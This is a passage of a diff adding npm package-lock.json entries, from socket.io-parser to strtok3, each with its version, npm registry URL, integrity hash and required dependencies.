+                "backo2": "~1.0.2",
+                "component-emitter": "~1.3.0",
+                "debug": "~4.3.1",
+                "engine.io-client": "~4.1.0",
+                "parseuri": "0.0.6",
+                "socket.io-parser": "~4.0.4"
+            },
+            "dependencies": {
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                }
+            }
+        },
+        "socket.io-parser": {
+            "version": "4.0.5",
+            "resolved": "https://registry.npmjs.org/socket.io-parser/-/socket.io-parser-4.0.5.tgz",
+            "integrity": "sha512-sNjbT9dX63nqUFIOv95tTVm6elyIU4RvB1m8dOeZt+IgWwcWklFDOdmGcfo3zSiRsnR/3pJkjY5lfoGqEe4Eig==",
+            "requires": {
+                "@types/component-emitter": "^1.2.10",
+                "component-emitter": "~1.3.0",
+                "debug": "~4.3.1"
+            },
+            "dependencies": {
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                }
+            }
+        },
+        "sockjs": {
+            "version": "0.3.24",
+            "resolved": "https://registry.npmjs.org/sockjs/-/sockjs-0.3.24.tgz",
+            "integrity": "sha512-GJgLTZ7vYb/JtPSSZ10hsOYIvEYsjbNU+zPdIHcUaWVNUEPivzxku31865sSSud0Da0W4lEeOPlmw93zLQchuQ==",
+            "requires": {
+                "faye-websocket": "^0.11.3",
+                "uuid": "^8.3.2",
+                "websocket-driver": "^0.7.4"
+            },
+            "dependencies": {
+                "uuid": {
+                    "version": "8.3.2",
+                    "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+                    "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="
+                }
+            }
+        },
+        "sockjs-client": {
+            "version": "1.1.4",
+            "resolved": "https://registry.npmjs.org/sockjs-client/-/sockjs-client-1.1.4.tgz",
+            "integrity": "sha512-hkDiI0wOmGmoUG3TSIrbDt8AhyzhePuNT3nogc5+c0amyUHu091y+jRK2h/e36olKRG+tSbhlQYHWqdsuW0CtQ==",
+            "requires": {
+                "debug": "^2.6.6",
+                "eventsource": "0.1.6",
+                "faye-websocket": "~0.11.0",
+                "inherits": "^2.0.1",
+                "json3": "^3.3.2",
+                "url-parse": "^1.1.8"
+            }
+        },
+        "sort-keys": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/sort-keys/-/sort-keys-2.0.0.tgz",
+            "integrity": "sha512-/dPCrG1s3ePpWm6yBbxZq5Be1dXGLyLn9Z791chDC3NFrpkVbWGzkBwPN1knaciexFXgRJ7hzdnwZ4stHSDmjg==",
+            "requires": {
+                "is-plain-obj": "^1.0.0"
+            },
+            "dependencies": {
+                "is-plain-obj": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz",
+                    "integrity": "sha512-yvkRyxmFKEOQ4pNXCmJG5AEQNlXJS5LaONXo5/cLdTZdWvsZ1ioJEonLGAosKlMWE8lwUy/bJzMjcw8az73+Fg=="
+                }
+            }
+        },
+        "source-list-map": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/source-list-map/-/source-list-map-2.0.1.tgz",
+            "integrity": "sha512-qnQ7gVMxGNxsiL4lEuJwe/To8UnK7fAnmbGEEH8RpLouuKbeEm0lhbQVFIrNSuB+G7tVrAlVsZgETT5nljf+Iw=="
+        },
+        "source-map": {
+            "version": "0.5.7",
+            "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
+            "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ=="
+        },
+        "source-map-resolve": {
+            "version": "0.5.3",
+            "resolved": "https://registry.npmjs.org/source-map-resolve/-/source-map-resolve-0.5.3.tgz",
+            "integrity": "sha512-Htz+RnsXWk5+P2slx5Jh3Q66vhQj1Cllm0zvnaY98+NFx+Dv2CF/f5O/t8x+KaNdrdIAsruNzoh/KpialbqAnw==",
+            "requires": {
+                "atob": "^2.1.2",
+                "decode-uri-component": "^0.2.0",
+                "resolve-url": "^0.2.1",
+                "source-map-url": "^0.4.0",
+                "urix": "^0.1.0"
+            }
+        },
+        "source-map-support": {
+            "version": "0.5.21",
+            "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.21.tgz",
+            "integrity": "sha512-uBHU3L3czsIyYXKX88fdrGovxdSCoTGDRZ6SYXtSRxLZUzHg5P/66Ht6uoUlHu9EZod+inXhKo3qQgwXUT/y1w==",
+            "requires": {
+                "buffer-from": "^1.0.0",
+                "source-map": "^0.6.0"
+            },
+            "dependencies": {
+                "source-map": {
+                    "version": "0.6.1",
+                    "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
+                    "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g=="
+                }
+            }
+        },
+        "source-map-url": {
+            "version": "0.4.1",
+            "resolved": "https://registry.npmjs.org/source-map-url/-/source-map-url-0.4.1.tgz",
+            "integrity": "sha512-cPiFOTLUKvJFIg4SKVScy4ilPPW6rFgMgfuZJPNoDuMs3nC1HbMUycBoJw77xFIp6z1UJQJOfx6C9GMH80DiTw=="
+        },
+        "space-separated-tokens": {
+            "version": "1.1.5",
+            "resolved": "https://registry.npmjs.org/space-separated-tokens/-/space-separated-tokens-1.1.5.tgz",
+            "integrity": "sha512-q/JSVd1Lptzhf5bkYm4ob4iWPjx0KiRe3sRFBNrVqbJkFaBm5vbbowy1mymoPNLRa52+oadOhJ+K49wsSeSjTA=="
+        },
+        "spdx-correct": {
+            "version": "3.1.1",
+            "resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.1.1.tgz",
+            "integrity": "sha512-cOYcUWwhCuHCXi49RhFRCyJEK3iPj1Ziz9DpViV3tbZOwXD49QzIN3MpOLJNxh2qwq2lJJZaKMVw9qNi4jTC0w==",
+            "requires": {
+                "spdx-expression-parse": "^3.0.0",
+                "spdx-license-ids": "^3.0.0"
+            }
+        },
+        "spdx-exceptions": {
+            "version": "2.3.0",
+            "resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.3.0.tgz",
+            "integrity": "sha512-/tTrYOC7PPI1nUAgx34hUpqXuyJG+DTHJTnIULG4rDygi4xu/tfgmq1e1cIRwRzwZgo4NLySi+ricLkZkw4i5A=="
+        },
+        "spdx-expression-parse": {
+            "version": "3.0.1",
+            "resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.1.tgz",
+            "integrity": "sha512-cbqHunsQWnJNE6KhVSMsMeH5H/L9EpymbzqTQ3uLwNCLZ1Q481oWaofqH7nO6V07xlXwY6PhQdQ2IedWx/ZK4Q==",
+            "requires": {
+                "spdx-exceptions": "^2.1.0",
+                "spdx-license-ids": "^3.0.0"
+            }
+        },
+        "spdx-license-ids": {
+            "version": "3.0.11",
+            "resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.11.tgz",
+            "integrity": "sha512-Ctl2BrFiM0X3MANYgj3CkygxhRmr9mi6xhejbdO960nF6EDJApTYpn0BQnDKlnNBULKiCN1n3w9EBkHK8ZWg+g=="
+        },
+        "spdy": {
+            "version": "4.0.2",
+            "resolved": "https://registry.npmjs.org/spdy/-/spdy-4.0.2.tgz",
+            "integrity": "sha512-r46gZQZQV+Kl9oItvl1JZZqJKGr+oEkB08A6BzkiR7593/7IbtuncXHd2YoYeTsG4157ZssMu9KYvUHLcjcDoA==",
+            "requires": {
+                "debug": "^4.1.0",
+                "handle-thing": "^2.0.0",
+                "http-deceiver": "^1.2.7",
+                "select-hose": "^2.0.0",
+                "spdy-transport": "^3.0.0"
+            },
+            "dependencies": {
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                }
+            }
+        },
+        "spdy-transport": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/spdy-transport/-/spdy-transport-3.0.0.tgz",
+            "integrity": "sha512-hsLVFE5SjA6TCisWeJXFKniGGOpBgMLmerfO2aCyCU5s7nJ/rpAepqmFifv/GCbSbueEeAJJnmSQ2rKC/g8Fcw==",
+            "requires": {
+                "debug": "^4.1.0",
+                "detect-node": "^2.0.4",
+                "hpack.js": "^2.1.6",
+                "obuf": "^1.1.2",
+                "readable-stream": "^3.0.6",
+                "wbuf": "^1.7.3"
+            },
+            "dependencies": {
+                "debug": {
+                    "version": "4.3.4",
+                    "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz",
+                    "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==",
+                    "requires": {
+                        "ms": "2.1.2"
+                    }
+                },
+                "ms": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
+                    "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w=="
+                }
+            }
+        },
+        "split-on-first": {
+            "version": "1.1.0",
+            "resolved": "https://registry.npmjs.org/split-on-first/-/split-on-first-1.1.0.tgz",
+            "integrity": "sha512-43ZssAJaMusuKWL8sKUBQXHWOpq8d6CfN/u1p4gUzfJkM05C8rxTmYrkIPTXapZpORA6LkkzcUulJ8FqA7Uudw=="
+        },
+        "split-string": {
+            "version": "3.1.0",
+            "resolved": "https://registry.npmjs.org/split-string/-/split-string-3.1.0.tgz",
+            "integrity": "sha512-NzNVhJDYpwceVVii8/Hu6DKfD2G+NrQHlS/V/qgv763EYudVwEcMQNxd2lh+0VrUByXN/oJkl5grOhYWvQUYiw==",
+            "requires": {
+                "extend-shallow": "^3.0.0"
+            }
+        },
+        "sprintf-js": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz",
+            "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug=="
+        },
+        "sshpk": {
+            "version": "1.17.0",
+            "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.17.0.tgz",
+            "integrity": "sha512-/9HIEs1ZXGhSPE8X6Ccm7Nam1z8KcoCqPdI7ecm1N33EzAetWahvQWVqLZtaZQ+IDKX4IyA2o0gBzqIMkAagHQ==",
+            "requires": {
+                "asn1": "~0.2.3",
+                "assert-plus": "^1.0.0",
+                "bcrypt-pbkdf": "^1.0.0",
+                "dashdash": "^1.12.0",
+                "ecc-jsbn": "~0.1.1",
+                "getpass": "^0.1.1",
+                "jsbn": "~0.1.0",
+                "safer-buffer": "^2.0.2",
+                "tweetnacl": "~0.14.0"
+            }
+        },
+        "ssri": {
+            "version": "7.1.1",
+            "resolved": "https://registry.npmjs.org/ssri/-/ssri-7.1.1.tgz",
+            "integrity": "sha512-w+daCzXN89PseTL99MkA+fxJEcU3wfaE/ah0i0lnOlpG1CYLJ2ZjzEry68YBKfLs4JfoTShrTEsJkAZuNZ/stw==",
+            "requires": {
+                "figgy-pudding": "^3.5.1",
+                "minipass": "^3.1.1"
+            }
+        },
+        "st": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/st/-/st-2.0.0.tgz",
+            "integrity": "sha512-drN+aGYnrZPNYIymmNwIY7LXYJ8MqsqXj4fMRue3FOgGMdGjSX10fhJ3qx0sVQPhcWxhEaN4U/eWM4O4dbYNAw==",
+            "requires": {
+                "async-cache": "^1.1.0",
+                "bl": "^4.0.0",
+                "fd": "~0.0.2",
+                "graceful-fs": "^4.2.3",
+                "mime": "^2.4.4",
+                "negotiator": "~0.6.2"
+            }
+        },
+        "stable": {
+            "version": "0.1.8",
+            "resolved": "https://registry.npmjs.org/stable/-/stable-0.1.8.tgz",
+            "integrity": "sha512-ji9qxRnOVfcuLDySj9qzhGSEFVobyt1kIOSkj1qZzYLzq7Tos/oUUWvotUPQLlrsidqsK6tBH89Bc9kL5zHA6w=="
+        },
+        "stack-trace": {
+            "version": "0.0.10",
+            "resolved": "https://registry.npmjs.org/stack-trace/-/stack-trace-0.0.10.tgz",
+            "integrity": "sha512-KGzahc7puUKkzyMt+IqAep+TVNbKP+k2Lmwhub39m1AsTSkaDutx56aDCo+HLDzf/D26BIHTJWNiTG1KAJiQCg=="
+        },
+        "stackframe": {
+            "version": "1.3.4",
+            "resolved": "https://registry.npmjs.org/stackframe/-/stackframe-1.3.4.tgz",
+            "integrity": "sha512-oeVtt7eWQS+Na6F//S4kJ2K2VbRlS9D43mAlMyVpVWovy9o+jfgH8O9agzANzaiLjclA0oYzUXEM4PurhSUChw=="
+        },
+        "state-toggle": {
+            "version": "1.0.3",
+            "resolved": "https://registry.npmjs.org/state-toggle/-/state-toggle-1.0.3.tgz",
+            "integrity": "sha512-d/5Z4/2iiCnHw6Xzghyhb+GcmF89bxwgXG60wjIiZaxnymbyOmI8Hk4VqHXiVVp6u2ysaskFfXg3ekCj4WNftQ=="
+        },
+        "static-extend": {
+            "version": "0.1.2",
+            "resolved": "https://registry.npmjs.org/static-extend/-/static-extend-0.1.2.tgz",
+            "integrity": "sha512-72E9+uLc27Mt718pMHt9VMNiAL4LMsmDbBva8mxWUCkT07fSzEGMYUCk0XWY6lp0j6RBAG4cJ3mWuZv2OE3s0g==",
+            "requires": {
+                "define-property": "^0.2.5",
+                "object-copy": "^0.1.0"
+            },
+            "dependencies": {
+                "define-property": {
+                    "version": "0.2.5",
+                    "resolved": "https://registry.npmjs.org/define-property/-/define-property-0.2.5.tgz",
+                    "integrity": "sha512-Rr7ADjQZenceVOAKop6ALkkRAmH1A4Gx9hV/7ZujPUN2rkATqFO0JZLZInbAjpZYoJ1gUx8MRMQVkYemcbMSTA==",
+                    "requires": {
+                        "is-descriptor": "^0.1.0"
+                    }
+                }
+            }
+        },
+        "statuses": {
+            "version": "2.0.1",
+            "resolved": "https://registry.npmjs.org/statuses/-/statuses-2.0.1.tgz",
+            "integrity": "sha512-RwNA9Z/7PrK06rYLIzFMlaF+l73iwpzsqRIFgbMLbTcLD6cOao82TaWefPXQvB2fOC4AjuYSEndS7N/mTCbkdQ=="
+        },
+        "stdout-stream": {
+            "version": "1.4.1",
+            "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz",
+            "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==",
+            "requires": {
+                "readable-stream": "^2.0.1"
+            },
+            "dependencies": {
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "stream-browserify": {
+            "version": "2.0.2",
+            "resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.2.tgz",
+            "integrity": "sha512-nX6hmklHs/gr2FuxYDltq8fJA1GDlxKQCz8O/IM4atRqBH8OORmBNgfvW5gG10GT/qQ9u0CzIvr2X5Pkt6ntqg==",
+            "requires": {
+                "inherits": "~2.0.1",
+                "readable-stream": "^2.0.2"
+            },
+            "dependencies": {
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "stream-each": {
+            "version": "1.2.3",
+            "resolved": "https://registry.npmjs.org/stream-each/-/stream-each-1.2.3.tgz",
+            "integrity": "sha512-vlMC2f8I2u/bZGqkdfLQW/13Zihpej/7PmSiMQsbYddxuTsJp8vRe2x2FvVExZg7FaOds43ROAuFJwPR4MTZLw==",
+            "requires": {
+                "end-of-stream": "^1.1.0",
+                "stream-shift": "^1.0.0"
+            }
+        },
+        "stream-http": {
+            "version": "2.8.3",
+            "resolved": "https://registry.npmjs.org/stream-http/-/stream-http-2.8.3.tgz",
+            "integrity": "sha512-+TSkfINHDo4J+ZobQLWiMouQYB+UVYFttRA94FpEzzJ7ZdqcL4uUUQ7WkdkI4DSozGmgBUE/a47L+38PenXhUw==",
+            "requires": {
+                "builtin-status-codes": "^3.0.0",
+                "inherits": "^2.0.1",
+                "readable-stream": "^2.3.6",
+                "to-arraybuffer": "^1.0.0",
+                "xtend": "^4.0.0"
+            },
+            "dependencies": {
+                "readable-stream": {
+                    "version": "2.3.7",
+                    "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
+                    "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
+                    "requires": {
+                        "core-util-is": "~1.0.0",
+                        "inherits": "~2.0.3",
+                        "isarray": "~1.0.0",
+                        "process-nextick-args": "~2.0.0",
+                        "safe-buffer": "~5.1.1",
+                        "string_decoder": "~1.1.1",
+                        "util-deprecate": "~1.0.1"
+                    }
+                }
+            }
+        },
+        "stream-shift": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/stream-shift/-/stream-shift-1.0.1.tgz",
+            "integrity": "sha512-AiisoFqQ0vbGcZgQPY1cdP2I76glaVA/RauYR4G4thNFgkTqr90yXTo4LYX60Jl+sIlPNHHdGSwo01AvbKUSVQ=="
+        },
+        "strict-uri-encode": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/strict-uri-encode/-/strict-uri-encode-2.0.0.tgz",
+            "integrity": "sha512-QwiXZgpRcKkhTj2Scnn++4PKtWsH0kpzZ62L2R6c/LUVYv7hVnZqcg2+sMuT6R7Jusu1vviK/MFsu6kNJfWlEQ=="
+        },
+        "string-env-interpolation": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/string-env-interpolation/-/string-env-interpolation-1.0.1.tgz",
+            "integrity": "sha512-78lwMoCcn0nNu8LszbP1UA7g55OeE4v7rCeWnM5B453rnNr4aq+5it3FEYtZrSEiMvHZOZ9Jlqb0OD0M2VInqg=="
+        },
+        "string-similarity": {
+            "version": "1.2.2",
+            "resolved": "https://registry.npmjs.org/string-similarity/-/string-similarity-1.2.2.tgz",
+            "integrity": "sha512-IoHUjcw3Srl8nsPlW04U3qwWPk3oG2ffLM0tN853d/E/JlIvcmZmDY2Kz5HzKp4lEi2T7QD7Zuvjq/1rDw+XcQ==",
+            "requires": {
+                "lodash.every": "^4.6.0",
+                "lodash.flattendeep": "^4.4.0",
+                "lodash.foreach": "^4.5.0",
+                "lodash.map": "^4.6.0",
+                "lodash.maxby": "^4.6.0"
+            }
+        },
+        "string-width": {
+            "version": "2.1.1",
+            "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz",
+            "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==",
+            "requires": {
+                "is-fullwidth-code-point": "^2.0.0",
+                "strip-ansi": "^4.0.0"
+            },
+            "dependencies": {
+                "strip-ansi": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
+                    "integrity": "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==",
+                    "requires": {
+                        "ansi-regex": "^3.0.0"
+                    }
+                }
+            }
+        },
+        "string.prototype.matchall": {
+            "version": "4.0.7",
+            "resolved": "https://registry.npmjs.org/string.prototype.matchall/-/string.prototype.matchall-4.0.7.tgz",
+            "integrity": "sha512-f48okCX7JiwVi1NXCVWcFnZgADDC/n2vePlQ/KUCNqCikLLilQvwjMO8+BHVKvgzH0JB0J9LEPgxOGT02RoETg==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.3",
+                "es-abstract": "^1.19.1",
+                "get-intrinsic": "^1.1.1",
+                "has-symbols": "^1.0.3",
+                "internal-slot": "^1.0.3",
+                "regexp.prototype.flags": "^1.4.1",
+                "side-channel": "^1.0.4"
+            }
+        },
+        "string.prototype.trimend": {
+            "version": "1.0.5",
+            "resolved": "https://registry.npmjs.org/string.prototype.trimend/-/string.prototype.trimend-1.0.5.tgz",
+            "integrity": "sha512-I7RGvmjV4pJ7O3kdf+LXFpVfdNOxtCW/2C8f6jNiW4+PQchwxkCDzlk1/7p+Wl4bqFIZeF47qAHXLuHHWKAxog==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.4",
+                "es-abstract": "^1.19.5"
+            }
+        },
+        "string.prototype.trimstart": {
+            "version": "1.0.5",
+            "resolved": "https://registry.npmjs.org/string.prototype.trimstart/-/string.prototype.trimstart-1.0.5.tgz",
+            "integrity": "sha512-THx16TJCGlsN0o6dl2o6ncWUsdgnLRSA23rRE5pyGBw/mLr3Ej/R2LaqCtgP8VNMGZsvMWnf9ooZPyY2bHvUFg==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "define-properties": "^1.1.4",
+                "es-abstract": "^1.19.5"
+            }
+        },
+        "string_decoder": {
+            "version": "1.1.1",
+            "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+            "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+            "requires": {
+                "safe-buffer": "~5.1.0"
+            }
+        },
+        "stringify-entities": {
+            "version": "4.0.3",
+            "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-4.0.3.tgz",
+            "integrity": "sha512-BP9nNHMhhfcMbiuQKCqMjhDP5yBCAxsPu4pHFFzJ6Alo9dZgY4VLDPutXqIjpRiMoKdp7Av85Gr73Q5uH9k7+g==",
+            "requires": {
+                "character-entities-html4": "^2.0.0",
+                "character-entities-legacy": "^3.0.0"
+            }
+        },
+        "stringify-object": {
+            "version": "3.3.0",
+            "resolved": "https://registry.npmjs.org/stringify-object/-/stringify-object-3.3.0.tgz",
+            "integrity": "sha512-rHqiFh1elqCQ9WPLIC8I0Q/g/wj5J1eMkyoiD6eoQApWHP0FtlK7rqnhmabL5VUY9JQCcqwwvlOaSuutekgyrw==",
+            "requires": {
+                "get-own-enumerable-property-symbols": "^3.0.0",
+                "is-obj": "^1.0.1",
+                "is-regexp": "^1.0.0"
+            },
+            "dependencies": {
+                "is-obj": {
+                    "version": "1.0.1",
+                    "resolved": "https://registry.npmjs.org/is-obj/-/is-obj-1.0.1.tgz",
+                    "integrity": "sha512-l4RyHgRqGN4Y3+9JHVrNqO+tN0rV5My76uW5/nuO4K1b6vw5G8d/cmFjP9tRfEsdhZNt0IFdZuK/c2Vr4Nb+Qg=="
+                }
+            }
+        },
+        "strip-ansi": {
+            "version": "5.2.0",
+            "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz",
+            "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==",
+            "requires": {
+                "ansi-regex": "^4.1.0"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "4.1.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz",
+                    "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g=="
+                }
+            }
+        },
+        "strip-bom": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz",
+            "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA=="
+        },
+        "strip-bom-string": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/strip-bom-string/-/strip-bom-string-1.0.0.tgz",
+            "integrity": "sha512-uCC2VHvQRYu+lMh4My/sFNmF2klFymLX1wHJeXnbEJERpV/ZsVuonzerjfrGpIGF7LBVa1O7i9kjiWvJiFck8g=="
+        },
+        "strip-comments": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/strip-comments/-/strip-comments-1.0.2.tgz",
+            "integrity": "sha512-kL97alc47hoyIQSV165tTt9rG5dn4w1dNnBhOQ3bOU1Nc1hel09jnXANaHJ7vzHLd4Ju8kseDGzlev96pghLFw==",
+            "requires": {
+                "babel-extract-comments": "^1.0.0",
+                "babel-plugin-transform-object-rest-spread": "^6.26.0"
+            }
+        },
+        "strip-eof": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/strip-eof/-/strip-eof-1.0.0.tgz",
+            "integrity": "sha512-7FCwGGmx8mD5xQd3RPUvnSpUXHM3BWuzjtpD4TXsfcZ9EL4azvVVUscFYwD9nx8Kh+uCBC00XBtAykoMHwTh8Q=="
+        },
+        "strip-final-newline": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/strip-final-newline/-/strip-final-newline-2.0.0.tgz",
+            "integrity": "sha512-BrpvfNAE3dcvq7ll3xVumzjKjZQ5tI1sEUIKr3Uoks0XUl45St3FlatVqef9prk4jRDzhW6WZg+3bk93y6pLjA=="
+        },
+        "strip-indent": {
+            "version": "1.0.1",
+            "resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-1.0.1.tgz",
+            "integrity": "sha512-I5iQq6aFMM62fBEAIB/hXzwJD6EEZ0xEGCX2t7oXqaKPIRgt4WruAQ285BISgdkP+HLGWyeGmNJcpIwFeRYRUA==",
+            "requires": {
+                "get-stdin": "^4.0.1"
+            }
+        },
+        "strip-json-comments": {
+            "version": "3.1.1",
+            "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-3.1.1.tgz",
+            "integrity": "sha512-6fPc+R4ihwqP6N/aIv2f1gMH8lOVtWQHoqC4yK6oSDVVocumAsfCqjkXnqiYMhmMwS/mEHLp7Vehlt3ql6lEig=="
+        },
+        "strtok3": {
+            "version": "6.3.0",
+            "resolved": "https://registry.npmjs.org/strtok3/-/strtok3-6.3.0.tgz",
